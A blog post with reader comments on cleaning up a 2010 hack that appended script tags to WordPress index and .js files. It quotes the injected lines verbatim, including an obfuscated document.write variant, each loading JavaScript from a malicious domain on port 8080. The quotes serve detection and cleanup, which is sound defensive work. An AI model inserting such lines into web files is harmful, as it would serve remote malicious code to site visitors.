The Drunkjeans.com / Roundstorm.com Hack and how to get rid of it

Saturday morning a couple of my sites were hacked by something I’ve not found a lot of info about. I’ll call it The Drunkjeans Hack. I’ve also found this being inserted from other domains (see below).

Some idiot has inserted a piece of code into the main index.php file that looks like this:

The first line calls a JavaScript file on the given domain, while the second line is a unique identifier (consider yourself an individual).

What this thing does is unclear, but depending on how far the hackers get with this, it could be anything from a wonky homepage to the entire site being down. I did some digging and here’s what I found out:

This thing attacks all browser default files as well as .js files. Literally ALL of them in your site, including sub directories. Browser default files are index.php, index.htm, index.html, start.thm, start.html et cetera.

In WordPress, there’s an index.php in your root and one in your theme’s directory.

There are also several .js files cattered all over the installation, including plugin and theme subdirectories so it can be a rather lenghty search…

The good news is that it appears that the exploit does not seem to mess with your database from what I can tell.

What does it do?

The Hack attaches a piece of code that loads a Javascript whereever it can. What it does is unclear (I tried to download one for closer inspection but it didn’t work). It does this either as a <script> tag or a JavaScript document.write statement.

A good example for this is the Next Gen Gallery Plugin, which uses the Shutter Reloaded library. Here’s what I found at the end of the shutter-reloaded.js file (in wp-content/plugins/nextgen-gallery/shutter/):

document.write('<s'+'cript type="text/javascript" src="http://oldgoal.com:8080/Database.js"></scr'+'ipt>');

Why does it do that?

I think I’ve discovered the big idea now: on a shared hosting package with Strato in Germany I found some files that redirected the site to several Viagra Shops (like Superviagraonline.com – grab a bargain while it’s hot).

How can we kill it, Cap’n?

Looks like deleting the code and saving the file is doing a good job. The code is always at the end of the aforementioned files so it’s fairly easy to find – once you know which file it’s attached itself to. Use a security software, try Trend Micro, Sophos or the free version of AVG for clues.

If you want to find EVERY file on your site that’s infected issue this server command in your home directory:

Be patient, this could take a while. This command will show you a long list of everything that’s infected in your directories and sub directories. It’s then up to you to open every one of them and delete the piece of code.
Once your files are clean, you’re well advised to change ownership of these (or all files) to root and permissions to “read only” via the following command – this only works if you have shell access though:

PHP Finder Script

I figured that many of us don’t have the liberty of sheel access, so I’ve devised this little php script that should do the hard work of finding infected files for you.

Copy the code below into a new text file, call it test.php and upload to the root directory of your site. Then call it in a browser (say by http://www.yoursite.com/test.php) and the script will get to work. This can take a few minutes – be patient.

Replace the “roundstorm.com” domain with whatever bug you think you have. To be 100% sure, run the script several times with all the domain variations listed below.

Variations

So far I’ve found the following code fragments. Your site is only ever affected by one of these domains so that’s the one to search your files for.

A WHOIS lookup reveals that these domains were registered on the 7th of July 2010 in Rubaix, France via Bizcn.com (that’s a Chinese ISP and Hosting Provider).

  • Drunkjeans.com

<script type="text/javascript" src="http://drunkjeans.com:8080/Cc.js"></script>
<!--bc02f73b8cefc99fd497a0d96d646c0e-->

  • Roundstorm.com

<script type="text/javascript" src="http://roundstorm.com:8080/Raster_Graphic.js"></script>
<!--8a4dc551741b1d10ebb7f9be14f2fd86-->

<script type="text/javascript" src="http://roundstorm.com:8080/Online.js"></script>
<!--aece678dacd5049fe548c4340509b03d-->

What’s funny about this vairation is that apparnetly McAfee have classed this domain as SAFE… why am I not surprised?

  • Tightsales.com

<script type="text/javascript" src="http://tightsales.com:8080/Gnutella.js"></script>
<!--ff2dbb7d5af9170e22a852d7c5329dd4-->

  • Oldgoal.com

<script type="text/javascript" src="http://oldgoal.com:8080/Database.js"></script>
<!--c7be90541d124051804d7e894f2ca5f8-->

  • Ionicclock.com

<script type="text/javascript" src="http://ionicclock.com:8080/P2P.js"></script>
<!--4af2b43758e09b79597726bfba081cdb-->

  • Hugejar.com

<script type="text/javascript" src="http://hugejar.com:8080/Bandwidth.js"></script>
<!--fa1321ff9c78ec6db9352bd10fba5ee4-->

  • Pantscow.ru

  • Malepad.ru

  • Galslime.com

In the WP backend, I could see something being called from galslime.com – not sure which file is compromised but I’m determined to find out.

Further Reading

Some forum posts I found about this exploit:

About Jay Versluis

Jay is a medical miracle known as a Super Survivor. He runs two YouTube channels, five websites and several podcast feeds. To see what else he's up to, and to support him on his mission to make the world a better place, check out his Patreon Campaign.

43 thoughts on “The Drunkjeans.com / Roundstorm.com Hack and how to get rid of it

  1. I would love to know how it worked too because if it got in once then it can sure as heck do it again and I doubt just changing my passwords and removing it from the web server files will work.

    But I have a lot of different systems so knowing which is vulnerable requires knowing how the script works. I have tried to contact various AV firms but they are all useless.

    I assume it’s some kind of injection attack (like the old SQL injections of old) that has been modified to hit HTML and JS instead of database content because my databases all seem clean, at least so far as I can tell.

    However this is unlikely to let hackers write to restricted DIR’s without root access. Hmmppff

    1. Precisely my thoughts too Mark – and just when I thought this one had passed, another attack hit me (see this article). This one doesn’t amend files, it just writes them straight into my directories – how on earth is this possible? It’s happened on several sites, each with differend user name/password combinations so I bet they don’t get in via shell or FTP access.

      I’ve had a look at when my files were modified (and when the new ones were placed respectively) and checked the httpd access and error logs. Nothing unusual in the access logs but shocking results in the error log: there was a grep command that was used literally on every file on one site – access was always denied though. 6 different IP addresses tried to open files and systematically “guessed” directories that lucky for me didn’t exist – among their interests is phpMyAdmin, php and the WordPress Login screen. Scary!

      Yesterday I’ve discovered OSSEC and will install that on my systems today. It’s a Open Source Intrusion Detection System. The guys at WordPress.com use it to monitor their servers, see if that helps. It’s suppsed to cut access to IP addresses that would do what I’ve mentioned above immediately and send me an email when an attack is underway. I’ll let you know how it works.

  2. We’ve got the friggin thing too – we thought it had gotten in via mybb though?

    I have my mate looking at this later – he’ll sort it!

    Really upsets me to see people doin stuff to hard working peoples websites.

    Why dont they just get a life?

  3. Ive just experienced the same russian filehack on 3 different webproviders i use. One of them is surftown.dk/surftown.com and an online friend of mine noticed the same code on his webpage which ALSO is surftown.dk – and we’re on two different accounts and havent exchanged any form of file exchange or anything at all.

    Could this be a weakness/bug in linux or php? It must be a pretty big one if a pretty big webhost-provider has let them through.

    OR…it could be that both my PC and my friends PC is infected with the same malware thing causing the code addition whenever we contact the ftp server. Its really a mystery…

  4. I’ve fallen foul of the pantscow.ru version. Had 2 sites hacked. Both on the same physical server but via different hosting accounts (one direct, one reseller with the same hosting company). Both use cpanel.

    Reported it to my webhost and they said that there was suspicious FTP activity shortly before I first noticed the site was down / hacked. They think the hackers may have gained access to my FTP passwords. Possible I suppose since I was “between” Norton 360 and ESET. ESET wasn’t working as Windows updates had casually omitted to update me to Vista SPs 1 & 2 and … I’ll spare you the saga.

    Alternatively, it might be a cpanel vulnerability?

    1. Looks like there are so many of us infected by this thing. Various hosts, various configurations. I don’t think it’s cpanel; I’m running Plesk and had the same thing happen. Those panels only control aspects the LAMP servers – but it could well be an Apache exploit.

      I’ve just changed all my FTP passwords to some ridiculous code strings that nobody can remember. It’s now 48 hours later and the hack hasn’t come back – so maybe they did get in via FTP. Before it took them a couple of hours to hack in again. I’ll kepp you posted if it does though.

      Thank you for all your comments – it makes a big difference to know that we’re not alone 😉

  5. Do any of you guys use FILEZILLA?

    We think that’s what its using to get passwords (they are saved in plain text in a file on your PC)

    And we do believe its all happening via FTP.

    1. Yes I use Filezilla… and I also believe it’s happening via FTP. Since I’ve changed all the FTP passwords, the files are OK (although a certain IP address has tried to gain access into EVERY account).

      Superb call Olly, that may well be how they got their hands on the passwords: FileZilla.

      Hands up everybody who has their site hacked AND uses FileZilla.

  6. http://forum.filezilla-project.org/viewtopic.php?f=1&t=11003&start=0

    FYI

    A search for filezilla, password, hack finds LOTS of stuff about it.

    We had 3 accounts hacked on our server, however we cant work out how these three particular acocunts got owned.

    I have filezilla on mine, and that could explain 2 of them, but the one other 1 is a mystery.

    My mate uses filezilla, but only has HIS account saved.

    The only explanation is that we both had/have a virus.

    Im scanning every computer in the office with Malware Bytes.. Not found anything on mine yet tho!

  7. Also hacked. We had the malepad.ru in all our js files. We don’t use filezilla. Since the DB’s seem unaffected and based on comments above I’m leaning towards FTP breach. Obviously we’ve changed all the FTP passwords. Off to fix all the js files now….

  8. MY SITE HAS BEN hacked by * Malepad.ru

    document.write(”)
    I CLEAN THE FILES ITS WORK SOME TIME BUT NOW I KANT LOGHIN IN MY WORDPRESS CONTROL PANEL GIVE ERROR 500 INTERNAL SERVER ERROR END MY SITE GIVE ERROR 500 INTERNAL SERVER ERROR ..I DELET EVERYTHING DATABASE EVERYTHING..BUT I KANT INSTAL A NEW FRESH WORDPRESS ..IN ME 500 INTERNAL SERVER ERROR!!
    PLISS HELPPP

Add your voice!